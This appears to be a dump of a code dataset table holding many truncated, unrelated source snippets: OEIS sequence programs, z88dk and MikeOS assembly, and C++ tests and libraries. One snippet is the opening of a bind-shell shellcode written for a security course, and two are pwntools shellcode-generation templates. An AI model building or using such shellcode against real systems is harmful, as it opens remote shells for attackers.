text stringlengths 1 1.05M |
|---|
; A203580: a(n) = Sum{d(i)*2^i: i=0,1,...,m}, where Sum{d(i)*7^i: i=0,1,...,m}=n, d(i)∈{0,1,...,6}
; Submitted by Christian Krause
; 0,1,2,3,4,5,6,2,3,4,5,6,7,8,4,5,6,7,8,9,10,6,7,8,9,10,11,12,8,9,10,11,12,13,14,10,11,12,13,14,15,16,12,13,14,15,16,17,18,4,5,6,7,8,9,10,6,7,8,9,10,11,12,8,9,10,11,12,13,14,10,11,12,13,14,... |
; double pow(double x, double y)
SECTION code_fp_math48
PUBLIC cm48_sccz80_pow
EXTERN am48_pow, cm48_sccz80p_dparam2
cm48_sccz80_pow:
call cm48_sccz80p_dparam2
; AC'= y
; AC = x
exx
jp am48_pow
|
// Copyright (c) 2019 Computer Vision Center (CVC) at the Universitat Autonoma
// de Barcelona (UAB).
//
// Copyright(c) 2021 FrostBit Software Lab
//
// This work is licensed under the terms of the MIT license.
// For a copy, see <https://opensource.org/licenses/MIT>.
#include "Carla.h"
#include "Carla/Actor/ActorBlu... |
// Copyright 2018 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include "base/base_paths.h"
#include "base/bind.h"
#include "base/callback.h"
#include "base/files/file_util.h"
#include "base/files/scoped_temp_dir.h"
#... |
; A158392: 676n^2 - 2n.
; 674,2700,6078,10808,16890,24324,33110,43248,54738,67580,81774,97320,114218,132468,152070,173024,195330,218988,243998,270360,298074,327140,357558,389328,422450,456924,492750,529928,568458,608340,649574,692160,736098,781388,828030,876024,925370,976068,1028118,1081520,1136274,1192380,1249838,1308... |
;=======================================================
;Patches to support the minimap
;=======================================================
org $809B51
JMP $9BFB ; skip drawing auto reserve icon and normal energy numbers and tanks during HUD routine
org $82AED9 ; routine to draw auto reserve icon on... |
; uchar __FASTCALL__ bpeek(void *addr)
; 11.2006 aralbrec
SECTION code_clib
PUBLIC bpeek
PUBLIC _bpeek
.bpeek
._bpeek
ld l,(hl)
ld h,0
ret
|
; void *b_vector_insert_block(b_vector_t *v, size_t idx, size_t n)
SECTION code_adt_b_vector
PUBLIC b_vector_insert_block_callee
b_vector_insert_block_callee:
pop hl
pop de
pop bc
ex (sp),hl
INCLUDE "adt/b_vector/z80/asm_b_vector_insert_block.asm"
|
#include <cstdio>
#include <cstdlib>
#include <algorithm>
#include <iostream>
#include <vector>
#include <cmath>
#include <set>
#include <map>
using namespace std;
const int N = 11;
const int NN = 555;
int n, m;
char source[N][N], target[N][N], curr[N][N];
double num[NN][NN], constant[NN];
vector<int> states;
int re... |
; $Id: llrint.asm 69111 2017-10-17 14:26:02Z vboxsync $
;; @file
; IPRT - No-CRT llrint - AMD64 & X86.
;
;
; Copyright (C) 2006-2017 Oracle Corporation
;
; This file is part of VirtualBox Open Source Edition (OSE), as
; available from http://www.virtualbox.org. This file is free software;
; you can redistribute it and... |
SECTION code_fp_math48
PUBLIC asm_dsigdig
EXTERN am48_dsigdig
defc asm_dsigdig = am48_dsigdig
|
global _start
section .data
new_line: db 10
codes: db '0123456789abcdef'
test: dq -1
section .text
print_new_line:
mov rax, 1
mov rdi, 1
mov rsi, new_line
mov rdx, 1
syscall
ret
print_hex:
mov rax, rdi ; copy the argument to rax
mov rdi, 1
mov rcx, 64
mov rdx, 1
.iterate:
push rax
... |
/*
* Copyright (C) 2009 Google Inc. All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are
* met:
*
* * Redistributions of source code must retain the above copyright
* notice, this list of conditio... |
; ==================================================================
; MikeOS -- The Mike Operating System kernel
; Copyright (C) 2006 - 2014 MikeOS Developers -- see doc/LICENSE.TXT
;
; MATH ROUTINES
; ==================================================================
; -----------------------------------------------... |
; A158513: a(n) = Hermite(n,5).
; Submitted by Jon Maiga
; 1,10,98,940,8812,80600,717880,6211600,52065680,421271200,3275529760,24329873600,171237081280,1128453846400,6832374350720,36727035808000,162299127558400,447726129728000,-1040909039705600,-26527231067264000,-225717767163827200,-1196088428947712000,-24807380685963... |
; Polymorphic equivalent (plus bug fix)
; for nc bind shell on port 13377
; Original at: http://shell-storm.org/shellcode/files/shellcode-804.php
; 2018-07-14 SLAE-1294 assignment 6
; Size has increased from 64 bytes (not 62 as listed) to 89 bytes (139%)
section .text
global _start
_start:
; Zero out eax
sub eax,... |
;BARDZIEJ SKOMPLIKOWANY PRZYKŁAD POKAZUJĄCY REKURENCJĘ W PSEUDOASSEMBLERZE
DWA: DC INTEGER(2)
ARG: DC INTEGER(32)
MAIN:
LD 0, ARG ;fibonacci(32) DAJ FUNKCJI ARGUMENT
CALL FIBONACCI_REK ;WYWOŁAJ FUNKCJĘ
OUT 0 ;printf(wynik)
EXIT
;IT... |
* Return space to common heap V2.00 1986 Tony Tebby QJUMP
*
section mem
*
xdef mem_rchp
*
xref mem_rusb round up in slave block allocation units
xref mem_rehp 'return' memory to heap
xref mem_rlsb release slave bloc... |
BITS 32
%define PIC1 0x20 ; IO base address for master PIC
%define PIC2 0xA0 ; IO base address for slave PIC
%define PIC1_COMMAND PIC1
%define PIC1_DATA (PIC1+1)
%define PIC2_COMMAND PIC2
%define PIC2_DATA (PIC2+1)
%define PIC1_OFFSET 0x20
%define PIC2_OFFSET 0x28
%define ICW... |
; A162148: a(n) = n*(n+1)*(5*n+7)/6.
; 0,4,17,44,90,160,259,392,564,780,1045,1364,1742,2184,2695,3280,3944,4692,5529,6460,7490,8624,9867,11224,12700,14300,16029,17892,19894,22040,24335,26784,29392,32164,35105,38220,41514,44992,48659,52520,56580,60844,65317,70004,74910,80040,85399,90992,96824,102900,109225,115804,122642... |
// =========================================================================== //
// //
// Copyright 2008 Maxime Chevalier-Boisvert and McGill University. //
// ... |
; A168277: a(n) = 2*n - (-1)^n - 2.
; 1,1,5,5,9,9,13,13,17,17,21,21,25,25,29,29,33,33,37,37,41,41,45,45,49,49,53,53,57,57,61,61,65,65,69,69,73,73,77,77,81,81,85,85,89,89,93,93,97,97,101,101,105,105,109,109,113,113,117,117,121,121,125,125,129,129,133,133,137,137,141,141,145,145,149,149,153,153,157,157,161,161,165,165,16... |
SFX_Cry22_2_Ch4:
dutycycle 17
squarenote 2, 3, -5, 897
squarenote 7, 15, 5, 1537
squarenote 1, 12, 2, 1153
squarenote 8, 9, 1, 897
endchannel
SFX_Cry22_2_Ch5:
dutycycle 238
squarenote 2, 3, -6, 1456
squarenote 7, 13, 5, 1885
squarenote 1, 11, 2, 1712
squarenote 8, 6, 1, 1456
endchannel
SFX_Cry22_2_Ch7:
... |
// Always Spawn Switches Unpressed
origin 0x061748
base 0x802A6748
b 0x802A6778 // 812A6748 1000
|
; A272870: Real part of (n + i)^4.
; 1,-4,-7,28,161,476,1081,2108,3713,6076,9401,13916,19873,27548,37241,49276,64001,81788,103033,128156,157601,191836,231353,276668,328321,386876,452921,527068,609953,702236,804601,917756,1042433,1179388,1329401,1493276,1671841,1865948,2076473,2304316,2550401,2815676,3101113,3407708,373... |
/*******************************************************************************
Copyright 2006-2012 Lukas Käll <lukas.kall@scilifelab.se>
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http:... |
; A025737: Index of 9^n within sequence of numbers of form 7^i*9^j.
; 1,3,6,10,15,21,28,36,46,57,69,82,96,111,127,144,163,183,204,226,249,273,298,324,352,381,411,442,474,507,541,577,614,652,691,731,772,814,857,902,948,995,1043,1092,1142,1193,1245,1299,1354,1410,1467,1525,1584,1644
mov $2,$0
add $2,1
mov $5,$0
lpb $2
... |
#include <gtest/gtest.h>
#include <Columns/ColumnsNumber.h>
#include <DataStreams/IBlockOutputStream.h>
#include <DataStreams/LimitBlockInputStream.h>
#include <DataStreams/copyData.h>
#include <DataTypes/DataTypesNumber.h>
#include <Disks/tests/gtest_disk.h>
#include <Formats/FormatFactory.h>
#include <IO/ReadHelpers... |
frc(8) g28<1>F g4<8,8,1>F { align1 1Q };
frc(16) g3<1>F g1<0,1,0>F { align1 1H };
|
#ifndef STAN_MATH_PRIM_SCAL_PROB_STD_NORMAL_LPDF_HPP
#define STAN_MATH_PRIM_SCAL_PROB_STD_NORMAL_LPDF_HPP
#include <stan/math/prim/meta.hpp>
#include <stan/math/prim/scal/err/check_not_nan.hpp>
#include <stan/math/prim/scal/fun/size_zero.hpp>
#include <stan/math/prim/scal/fun/constants.hpp>
#include <stan/math/prim/sc... |
#include<iostream>
#include<iomanip>
using namespace std;
double giveMeTotal(int cod, int qtd) {
switch(cod) {
case 1:
return 4 * qtd;
case 2:
return 4.5 * qtd;
case 3:
return 5 * qtd;
case 4:
return 2 * qtd;
case 5:
return 1.5 * qtd;
}
return 0;... |
%include "src/clinkster.inc"
global _main
extern __imp__fopen
extern __imp__fwrite
extern __imp__fclose
extern __imp__printf
extern __imp__GetAsyncKeyState@4
extern __imp__ExitProcess@4
extern __imp__Sleep@4
section main text align=1
_main:
push message
push messageformat
call [__imp__printf]... |
; A328881: a(n+3) = 2^n - a(n), a(0)=a(2)=1, a(1)=0 for n >= 0.
; Submitted by Jamie Morken(s2)
; 1,0,1,0,2,3,8,14,29,56,114,227,456,910,1821,3640,7282,14563,29128,58254,116509,233016,466034,932067,1864136,3728270,7456541,14913080,29826162,59652323,119304648,238609294,477218589,954437176,1908874354,3817748707,763549741... |
;;
;; Copyright (c) 2012-2021, Intel Corporation
;;
;; Redistribution and use in source and binary forms, with or without
;; modification, are permitted provided that the following conditions are met:
;;
;; * Redistributions of source code must retain the above copyright notice,
;; this list of conditions and... |
page , 132
;*****************************************************************************;
; ;
; FileName: dpmi.asm ;
; ;
; Contents: DOS Protected mode routines ;
; ;
; Author: Jean-Francois Larvoire 94/05/14 ;
; ;
; Notes: ... |
; A193653: Q-residue of the Delannoy triangle A008288, where Q is the triangular array (t(i,j)) given by t(i,j)=1.
; 1,2,6,20,70,248,882,3140,11182,39824,141834,505148,1799110,6407624,22821090,81278516,289477726,1030990208,3671926074,13077758636,46577128054,165886901432,590814960402,2104218684068,7494285973006,26691295... |
sw $1, 1000
addi $31, $31, 1
sw $2, 2000
addi $31, $31, 1
sw $3, 3000
addi $31, $31, 1
sw $4, 4000
addi $31, $31, 1
sw $5, 5000
addi $31, $31, 1
sw $6, 6000
addi $31, $31, 1
sw $7, 7000
addi $31, $31, 1
sw $8, 8000
addi $31, $31, 1
sw $9, 9000
addi $31, $31, 1
sw $10, 10000
addi $31, $31, 1
sw $11, 11000
addi $31, $31,... |
SECTION "A", ROM0
AData::
LOAD UNION "RAM", WRAM0
AMem::
db 0, 1, 2
AMemEnd::
ENDL
ADataEnd::
dw AMem
SECTION "B", ROM0
BData::
LOAD UNION "RAM", WRAM0
BMem::
db 3, 4, 5, 6, 7
BMemEnd::
ENDL
BDataEnd::
dw BMem
SECTION "C", ROM0
CData::
LOAD UNION "RAM", WRAM0
CMem::
db 8, 9
CMemEnd::
ENDL
CDataEnd::
dw CMem
|
; A065364: Alternating sum of balanced ternary digits in n. Replace 3^k with (-1)^k in balanced ternary expansion of n.
; 1,-2,-1,0,1,2,3,0,1,2,-1,0,1,-2,-1,0,-3,-2,-1,-4,-3,-2,-1,0,1,-2,-1,0,-3,-2,-1,0,1,2,-1,0,1,-2,-1,0,1,2,3,0,1,2,-1,0,1,2,3,4,1,2,3,0,1,2,3,4,5,2,3,4,1,2,3,0,1,2,-1,0,1,-2,-1,0,1,2,3,0,1,2,-1,0,1,2,3... |
; A126606: Fixed point of transformation of the seed sequence {0,2}.
; Submitted by Jon Maiga
; 0,2,2,4,2,6,4,6,2,8,6,10,4,10,6,8,2,10,8,14,6,16,10,14,4,14,10,16,6,14,8,10,2,12,10,18,8,22,14,20,6,22,16,26,10,24,14,18,4,18,14,24,10,26,16,22,6,20,14,22,8,18,10,12,2,14,12,22,10,28,18,26,8,30,22,36,14,34,20,26
lpb $0
di... |
; A004996: a(n) = 6^n/n! * Product_{k=0..n-1} (6*k - 1).
; Submitted by Jon Maiga
; 1,-6,-90,-1980,-50490,-1393524,-40412196,-1212365880,-37280250810,-1168114525380,-37146041907084,-1195427166827976,-38851382921909220,-1273129932671794440,-42013287778169216520,-1394841154235217988464,-46552823522600400364986,-156088878... |
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; zx spectrum if2 cartridge ;;
;; generated by target/zx/startup/zx_crt_if2.m4 ;;
;; ;;
;; 16k ROM in 0-16k area, ram placement per pragmas ;;... |
; A017438: a(n) = (11*n + 4)^2.
; 16,225,676,1369,2304,3481,4900,6561,8464,10609,12996,15625,18496,21609,24964,28561,32400,36481,40804,45369,50176,55225,60516,66049,71824,77841,84100,90601,97344,104329,111556,119025,126736,134689,142884,151321,160000,168921,178084,187489,197136,207025,217156,227529,238144,249001,260100... |
/* ----------------------------------------------------------------------------
* This file was automatically generated by SWIG (http://www.swig.org).
* Version 4.0.1
*
* This file is not intended to be easily readable and contains a number of
* coding conventions designed to improve portability and efficiency. Do... |
; A141879: Primes congruent to 14 mod 19.
; Submitted by Jon Maiga
; 71,109,223,337,641,907,983,1021,1097,1249,1439,1553,1667,1933,2161,2237,2351,2389,2503,2579,2617,2693,2731,3187,3301,3491,3529,3643,3719,3833,3947,4099,4289,4327,4441,4517,4783,4973,5011,5087,5581,5657,5923,6037,6113,6151,6379,6569,6607,6911,6949,7177... |
.file ""
.text
.Ltext0:
.section .rodata.str1.1,"aMS",@progbits,1
.LC0:
.string "Hello world"
.LC1:
.string "moo\n"
.section .text.startup,"ax",@progbits
.p2align 4,,15
.globl main
.type main, @function
main:
.LFB31:
.fil... |
; A085622: Maximal number of segments (equivalently, corners) in a rook circuit of a 2n X 2n board.
; 1,4,12,28,56,88,132,180,240,304,380,460,552,648,756,868,992,1120,1260,1404,1560,1720,1892,2068,2256,2448,2652,2860,3080,3304,3540,3780,4032,4288,4556,4828,5112,5400,5700,6004,6320,6640,6972,7308,7656,8008,8372
mov $2,... |
; main.asm
; Runs on any Cortex M processor
; A very simple first project implementing a random number generator
; Daniel Valvano
; May 12, 2015
; This example accompanies the book
; "Embedded Systems: Introduction to Robotics,
; Jonathan W. Valvano, ISBN: 9781074544300, copyright (c) 2019
; For more information a... |
; A066459: Product of factorials of the digits of n.
; 1,1,2,6,24,120,720,5040,40320,362880,1,1,2,6,24,120,720,5040,40320,362880,2,2,4,12,48,240,1440,10080,80640,725760,6,6,12,36,144,720,4320,30240,241920,2177280,24,24,48,144,576,2880,17280,120960,967680,8709120,120,120,240,720,2880,14400,86400,604800,4838400,43545600,... |
// ____ ______ __
// / __ \ / ____// /
// / /_/ // / / /
// / ____// /___ / /___ PixInsight Class Library
// /_/ \____//_____/ PCL 2.4.9
// ----------------------------------------------------------------------------
// pcl/SHA256.cpp - Released 2021-04-09T19:41:11Z
// ---------------------------... |
BITS 16
cmp ax, 1
o16 cmp ax, 1
o32 cmp ax, 1
cmp eax, 1
o16 cmp eax, 1
o32 cmp eax, 1
BITS 32
cmp ax, 1
o16 cmp ax, 1
o32 cmp ax, 1
cmp eax, 1
o16 cmp eax, 1
o32 cmp eax, 1
BITS 64
cmp ax, 1
o16 cmp ax, 1
o32 cmp ax, 1
cmp eax, 1
o16 cmp eax, 1
o32 cmp eax, 1
|
; Divide 8-bit values
; In: Divide E by divider C
; Out: A = result, B = rest
;
;;;Div8:
;;; xor a
;;; ld b,8
;;;Div8_Loop:
;;; rl e
;;; rla
;;; sub c
;;; jr nc,Div8_NoAdd
;;; add a,c
;;;Div8_NoAdd:
;;; djnz Div8_Loop
;;; ld b,a
;;; ld a,e
;;; rla
;;; cpl
;;; ret
;;Inputs: DE is ... |
BITS 32
section .text
foo:
invlpg [dword 300+8*esi+esp]
lgdt [dword 300+8*esi+esp]
sgdt [dword 300+8*esi+esp]
lidt [dword 300+8*esi+esp]
sidt [dword 300+8*esi+esp]
|
.global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r13
push %r14
push %rax
push %rbp
push %rcx
push %rdi
push %rsi
lea addresses_WT_ht+0x8884, %rbp
nop
nop
and %r13, %r13
movb (%rbp), %r11b
nop
nop
nop
nop
nop
sub %r11, %r11
lea addresses_normal_ht+0x118e, %rsi
lea addresses_D_ht+0xf184, %rdi
nop
nop
dec %rax... |
PAGE,132
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
; LIBENTRY.ASM
;
; Windows dynamic link library entry routine
;
; This module generates a code segment called INIT_TEXT.
; It initializes the local heap if one exists and then calls
; the C routine LibMain... |
; A267594: Triangle read by rows giving successive states of cellular automaton generated by "Rule 173" initiated with a single ON (black) cell.
; 1,0,1,0,0,1,1,1,1,0,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1... |
#include <iom32.h>
RSEG CODE
EXTERN k_curr_task
EXTERN k_next_task
PUBLIC port_int_disable
PUBLIC port_int_enable
PUBLIC port_cpsr_save
PUBLIC port_cpsr_restore
PUBLIC port_sched_start
PUBLIC port_irq_context_switch
PUBLIC port_context_switch
port_int_disable:
CLI
... |
Jump $$main
DLabel $eat-location-zero
DataZ 8
DLabel $print-format-integer
DataC 37 %% "%d"
DataC 100
DataC ... |
// Copyright 2010-2013 RethinkDB, all rights reserved.
#ifndef UNITTEST_RDB_ENV_HPP_
#define UNITTEST_RDB_ENV_HPP_
#include <stdexcept>
#include <set>
#include <map>
#include <string>
#include <utility>
#include "errors.hpp"
#include <boost/variant.hpp>
#include "clustering/administration/main/ports.hpp"
#include "c... |
; void *memmem(const void *big, size_t big_len, const void *little, size_t little_len)
SECTION code_string
PUBLIC _memmem
EXTERN asm_memmem
_memmem:
pop af
pop ix
pop hl
pop de
pop bc
push bc
push de
push hl
push hl
push af
jp asm_memmem
|
_SafariZoneRestHouse3Text1::
text "How many did you"
line "catch? I'm bushed"
cont "from the work!"
done
_SafariZoneRestHouse3Text2::
text "I caught a"
line "CHANSEY!"
para "That makes this"
line "all worthwhile!"
done
_SafariZoneRestHouse3Text3::
text "Whew! I'm tired"
line "from all the fun!"
done
|
; A144412: Invert transform of odd nonprime gaps adjusted to be from the set {2,1,0,-1}: b(n)=A067970(n)/2-2; a(n)=Sum[b(n + 1)*a(n - k), {k, 1, n}].
; 2,2,4,0,-8,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0... |
; Test when more than one block could be moved to the same position. To make sure only one is moved
loop:
jr loop
func2:
ld a, 1
; jp func1 ; -mdl
func1:
ld (hl), a
ret
func3:
ld a, 2
jp func1 |
TITLE Multiplication Examples (Multiply.asm)
; Exmples of both signed and unsigned multiplication.
INCLUDE Irvine16.inc
.code
main PROC
mov ax,@data
mov ds,ax
mov ax,255
mov bx,255
imul bx
;Example 1
mov al,5h
mov bl,10h
mul bl ; CF = 0
;Example 2
.data
val1 WORD ... |
;--------------------------------------------------------
; File Created by SDCC : free open source ANSI-C Compiler
; Version 4.0.0 #11528 (MINGW64)
;--------------------------------------------------------
; MODULE 05_do
.optsdcc -mgbz80
; Generated using the rgbds tokens.
; We have to define these here as sdcc do... |
#pragma once
#include "env.hpp"
#include "fan_pwm.hpp"
#include "fan_speed.hpp"
#include "hwmonio.hpp"
#include <filesystem>
#include <memory>
#include <phosphor-logging/elog-errors.hpp>
#include <phosphor-logging/log.hpp>
#include <xyz/openbmc_project/Sensor/Device/error.hpp>
enum class targetType
{
DEFAULT,
... |
SECTION code_fcntl
PUBLIC console_01_output_fzx_iterm_msg_readline_begin
EXTERN l_offset_ix_de, __fzx_draw_xor
EXTERN console_01_output_char_iterm_msg_readline_begin
console_01_output_fzx_iterm_msg_readline_begin:
; input terminal is starting a new edit line
; can use: af, bc, de, hl, ix
; save fzx va... |
#include "ConfigDefines.h"
#include "Common/FileFormatCheck.h"
#include "Common/RootFSSetup.h"
#include <FEXCore/Config/Config.h>
#include <FEXCore/Utils/LogManager.h>
#include <filesystem>
#include <fstream>
#include <poll.h>
#include <unistd.h>
#include <stdint.h>
#include <stdlib.h>
#include <string>
#include <sy... |
#ifndef FLAPJACKOS_KERNEL_INCLUDE_PAGE_FRAME_ALLOCATOR_CONFIGURATION_OPERATION_HPP
#define FLAPJACKOS_KERNEL_INCLUDE_PAGE_FRAME_ALLOCATOR_CONFIGURATION_OPERATION_HPP
#include <multiboot.h>
#include <page_frame_allocator.hpp>
#include <page_size.hpp>
#include <hardware_memory_management_unit.hpp>
#include <boot.h> // f... |
Name: zel_sub0.asm
Type: file
Size: 21912
Last-Modified: '2016-05-13T04:27:09Z'
SHA-1: 2E0B1ED8BF46004FFB5AD7DAFED0D01684B00CEF
Description: null
|
Number.hexToBCD : ; eg 10b10 (0xF) -> 0x10 : inp in ebx, out in ebx
push eax
push ecx
push edx
cmp ebx, 101
jg Number.hexToBCD.noTable
mov eax, Number_BCDTTABLE
add eax, ebx
mov bl, [eax]
and ebx, 0xFF
pop edx
pop ecx
pop eax
ret
Number.hexToBCD.noTable :
; perform actual calculations in here!
popa
ret
Number.B... |
;
; MSX specific routines
; by Stefano Bodrato, December 2007
;
; int msx_initpsg();
;
; Init the PSG (reset sound etc..)
;
;
; $Id: psg_init.asm,v 1.3 2016/06/10 21:13:58 dom Exp $
;
SECTION code_clib
PUBLIC psg_init
PUBLIC _psg_init
EXTERN msxbios
IF FORmsx
INCLUDE "msxbios.def"
ELSE
... |
_getnumproc_test: file format elf32-i386
Disassembly of section .text:
00000000 <main>:
#include "stat.h"
#include "user.h"
#include "fcntl.h"
int main(void)
{
0: 8d 4c 24 04 lea 0x4(%esp),%ecx
4: 83 e4 f0 and $0xfffffff0,%esp
7: ff 71 fc pushl -0x4(%ecx)
... |
SECTION code_clib
SECTION code_fp_math32
PUBLIC derror_nanc
EXTERN m32_derror_nanc
defc derror_nanc = m32_derror_nanc
|
// Copyright (c) 2011-2016 The Bitcoin Core developers
// Distributed under the MIT software license, see the accompanying
// file COPYING or http://www.opensource.org/licenses/mit-license.php.
#include "bitcoinunits.h"
#include "primitives/transaction.h"
#include <QStringList>
BitcoinUnits::BitcoinUnits(QObject *p... |
// !! NOTE : R15 register must be preserved
define INIT_RND 10012h
// Object header fields
define elSizeOffset 0004h
define elVMTOffset 0010h
define elObjectOffset 0010h
// --- System Core API --
define CORE_ET_TABLE 2000Bh
// ; --- API ---
// ; initProcess(frameHeader)
pr... |
; A344403: a(n) = Sum_{d|n} d * floor(n/d^2).
; Submitted by Christian Krause
; 1,2,3,6,5,8,7,12,12,14,11,21,13,20,18,28,17,32,19,34,27,32,23,46,30,38,36,46,29,58,31,56,42,50,40,80,37,56,51,73,41,80,43,74,65,68,47,105,56,84,66,90,53,104,65,103,75,86,59,136,61,92,91,120,75,125,67,118,90
add $0,1
mov $2,$0
lpb $0
mov ... |
arch md.cpu
endian msb
output "beyond_br.md",create
include "asm/constants.asm"
include "asm/macros.asm"
origin $00000000
insert "beyond.md"
constant translation_ptbr(1)
// New ROM size
origin $1A4
dl rom_end
// Disable Checksum
origin $34E
bra $3C6
// Patch font
// origin $3342
// jmp new_font_1
o... |
; ZX PSG proPLAYER V 0.3 - WYZ 19.03.2016
IF !__CPU_INTEL__ && !__CPU_GBZ80__
; THE DATA TO BE CHANGED :
; * SOUND BUFFER WHERE THE MUSIC FILE IS DECODED COMPLETELY
; * SONG NUMBER
; * SONG TABLE
SECTION code_psg
PUBLIC asm_wyz_play
PUBLIC asm_wyz_start
PUBLIC asm_wyz_stop
PUBLIC asm_wyz_player_init
PUBLIC ... |
; A195029: a(n) = n*(14*n + 13) + 3.
; 3,30,85,168,279,418,585,780,1003,1254,1533,1840,2175,2538,2929,3348,3795,4270,4773,5304,5863,6450,7065,7708,8379,9078,9805,10560,11343,12154,12993,13860,14755,15678,16629,17608,18615,19650,20713,21804,22923,24070,25245,26448,27679,28938,30225,31540,32883,34254,35653,37080,38535,40... |
_test6: file format elf32-i386
Disassembly of section .text:
00000000 <thread>:
void *stack[NTHREAD];
int tid[NTHREAD];
void *retval[NTHREAD];
void *thread(void *arg){
0: 55 push %ebp
1: 89 e5 mov %esp,%ebp
3: 83 ec 18 sub $0x18,%esp
int i;
fo... |
%define EMPTY
%macro bar 1
db "bar", __LINE__, %0, %1
%endmacro
%macro baz 2
db "baz", __LINE__, %0, %1, %2
%endmacro
%macro nothing 0
db "nothing", __LINE__, %0
%endmacro
%macro xyzzy 1-2
db "xyzzy", __LINE__, %0, %1, %2, %3
%endmacro
%macro vararg 0-*
db "vararg", __LINE__, %0
%assign %%i 1
%rep %0
db ... |
; A282124: Decimal representation of the x-axis, from the origin to the right edge, of the n-th stage of growth of the two-dimensional cellular automaton defined by "Rule 430", based on the 5-celled von Neumann neighborhood.
; 1,3,3,15,11,63,43,255,171,1023,683,4095,2731,16383,10923,65535,43691,262143,174763,1048575,69... |
#include "main.h"
int main(int argc, char **argv){
std::string input = "../Audio/Ex96.wav";
std::string reverb = "../Audio/480000.wav";
std::string out(" ");
bool timeDomain = false;
/*Parse Input*/
for(int i = 1; i < argc; i++){
if(argv[i][0] == '-'){
if(argv[i][1] == 't' || argv[i][1] == 'T'){
... |
;***
;strcspn.asm -
;
; Copyright (c) 1991-2001, Microsoft Corporation. All rights reserved.
;
;Purpose:
; defines strcspn()- finds the length of the initial substring of
; a string consisting entirely of characters not in a control string.
;
; NOTE: This stub module scheme is compatible with NT build
; pro... |
<%
from pwnlib.util import packing
from pwnlib.shellcraft import amd64
from pwnlib import constants
from pwnlib.context import context as ctx # Ugly hack, mako will not let it be called context
import re
%>
<%page args="value"/>
<%docstring>
Pushes a value onto the stack without using
null bytes or newline ch... |
/*
* Copyright (c) 2015, Ford Motor Company
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are met:
*
* Redistributions of source code must retain the above copyright notice, this
* list of condit... |
; A120740: Numbers n such that n = Sum_digits[k*abs(n-k)] for some k>=0.
; 0,4,5,9,14,18,23,27,32,36,41,45,50,54,59,63,68,72,77,81,86,90,95,99,104,108,113,117,122,126,131,135,140,144,149,153,158,162,167,171,176,180,185,189,194,198,203,207,212,216,221,225,230,234,239,243,248,252
mul $0,2
mov $1,$0
mov $6,$0
mov $0,1
su... |
; A258390: Number of 2n-length strings of balanced parentheses of exactly 2 different types that are introduced in ascending order.
; Submitted by Jamie Morken(s4)
; 2,15,98,630,4092,27027,181610,1239810,8582756,60138078,425800564,3042175500,21906338040,158830645635,1158564772890,8496271312650,62604582047700,4632756744... |
Map_229BD4: dc.w Frame_229BD8-Map_229BD4
dc.w Frame_229BFE-Map_229BD4
Frame_229BD8: dc.w 6
dc.b $CC, $D, 8, 0,$FF,$F0
dc.b $DC, $D, 0, $E,$FF,$F0
dc.b $EC, $D, 0,$16,$FF,$F0
dc.b $FC, $D, 8,$16,$FF,$F0
dc.b $C, $D, 0,$16,$FF,$F0
dc.b $1C, $D, 8,$16,$FF,$F0
Frame_229BFE: dc.w $C
dc.b $CC, 5, 8,... |
#include "Esp.hpp"
#include <functional>
static Esp* gEsp = nullptr;
Esp::Esp(String const& hostname, String const& ApSsid,
String const& ApPass, std::function<std::unique_ptr<IJob>(TimerManager&)> createJob)
: _hostname(hostname), _connected(false) {
if (gEsp) {
Serial.println("An Esp object have alr... |
; A157449: Difference between n and the sum of its divisors except 1 and itself.
; 2,3,2,5,1,7,2,6,3,11,-3,13,5,7,2,17,-2,19,-1,11,9,23,-11,20,11,15,1,29,-11,31,2,19,15,23,-18,37,17,23,-9,41,-11,43,5,13,21,47,-27,42,8,31,7,53,-11,39,-7,35,27,59,-47,61,29,23,2,47,-11,67,11,43,-3,71,-50,73,35,27,13,59,-11,79,-25,42,39,83... |
_rm: file format elf32-i386
Disassembly of section .text:
00000000 <main>:
#include "stat.h"
#include "user.h"
int
main(int argc, char *argv[])
{
0: 8d 4c 24 04 lea 0x4(%esp),%ecx
4: 83 e4 f0 and $0xfffffff0,%esp
7: ff 71 fc pushl -0x4(%ecx)
a: 55 ... |
#define BOOST_TEST_MODULE
#include <boost/test/unit_test.hpp>
#include <util/test_macros.hpp>
#include <vector>
#include <string>
#include <random/random.hpp>
#include <sframe/testing_utils.hpp>
#include <util/testing_utils.hpp>
#include <unity/toolkits/sparse_similarity/utilities.hpp>
#include <util/cityhash_tc.hpp>
... |
<%
from pwnlib.shellcraft.i386.linux import syscall
%>
<%page args="uid"/>
<%docstring>
Invokes the syscall setuid. See 'man 2 setuid' for more information.
Arguments:
uid(uid_t): uid
</%docstring>
${syscall('SYS_setuid', uid)}
|
#include "./RemoteViews.hpp"
#include "./RemoteViews_RemoteCollectionItems.hpp"
#include "./RemoteViews_RemoteCollectionItems_Builder.hpp"
namespace android::widget
{
// Fields
// QJniObject forward
RemoteViews_RemoteCollectionItems_Builder::RemoteViews_RemoteCollectionItems_Builder(QJniObject obj) : JObject(obj)... |
#include "MyGLWidget.h"
MyGLWidget::MyGLWidget(QWidget* parent)
: QGLWidget(parent)
{
}
Renderer& MyGLWidget::getRenderer()
{
return m_renderer;
}
void MyGLWidget::initializeGL()
{
m_renderer.init();
}
void MyGLWidget::paintGL()
{
int micro = m_renderer.render();
emit renderingFinished(micro / 1000.0f);
}
... |
ldy #0
